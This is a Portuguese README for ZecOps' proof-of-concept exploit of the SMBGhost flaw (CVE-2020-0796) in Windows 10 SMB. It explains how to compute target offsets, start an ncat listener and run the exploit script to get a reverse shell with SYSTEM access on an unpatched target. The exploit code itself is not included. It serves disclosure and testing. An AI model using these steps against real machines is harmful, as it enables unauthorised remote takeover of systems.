
CVE-2020-0796 Execução Remota de Código POC
(c) 2020 ZecOps, Inc. - https://www.zecops.com - Encontre os Erros dos Atacantes
Prova de Conceito de Execução Remota de Código para CVE-2020-0796 / "SMBGhost"
Resultado esperado: Shell reverso com acesso ao sistema.
Destinado apenas para fins educacionais e de teste em ambientes corporativos.
A ZecOps não assume nenhuma responsabilidade pelo código, use por sua conta e risco.
Entre em contato com [email protected] se você estiver interessado em ferramentas DFIR sem agente para Servidores, Endpoints e Dispositivos Móveis para detectar SMBGhost e outros tipos de ataques automaticamente.
Certifique-se de que Python e ncat estejam instalados.
Execute calc_target_offsets.bat no computador alvo e ajuste os offsets no topo do arquivo SMBleedingGhost.py de acordo com a saída do script (veja também a nota abaixo).
Execute ncat com os seguintes argumentos de linha de comando:
ncat -lvp <port>
Onde <port> é o número da porta na qual o estará escutando.
Execute SMBleedingGhost.py com os seguintes argumentos de linha de comando:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
Onde <target_ip> é o endereço IP do computador alvo vulnerável. <reverse_shell_ip> e <reverse_shell_port> são o endereço IP e o número da porta nos quais o ncat está escutando.
Se tudo correr bem, o ncat exibirá um shell que fornece acesso ao sistema do computador alvo.
Nota: Você pode estar se perguntando por que é necessário executar o script calc_target_offsets.bat no computador alvo, e isso não anula o propósito da execução remota de código ser remota. Esses offsets não são aleatórios e são os mesmos em todas as instâncias Windows da mesma versão do Windows. Poderíamos tornar o ataque mais universal detectando a versão do Windows alvo e ajustando os offsets automaticamente, ou não dependendo deles, mas é apenas uma POC e fizemos o que era mais simples. Também vemos como algo positivo que a POC não seja universal e não seja conveniente para usos diferentes de teste e educação.

As versões 1903 e 1909 do Windows 10 são afetadas. Versões não corrigidas do Windows 10 1903 não são suportadas devido a um bug de desreferência nula no Windows (corrigido no KB4512941).
Devido à natureza da exploração, a POC funciona melhor para alvos executando em um computador (ou VM) com um único processador lógico. Alvos com mais de um processador lógico executando no VirtualBox também devem ser suportados, mas a POC é menos confiável neste caso. Outros alvos podem não ser suportados. Para detalhes, consulte nosso artigo técnico abaixo.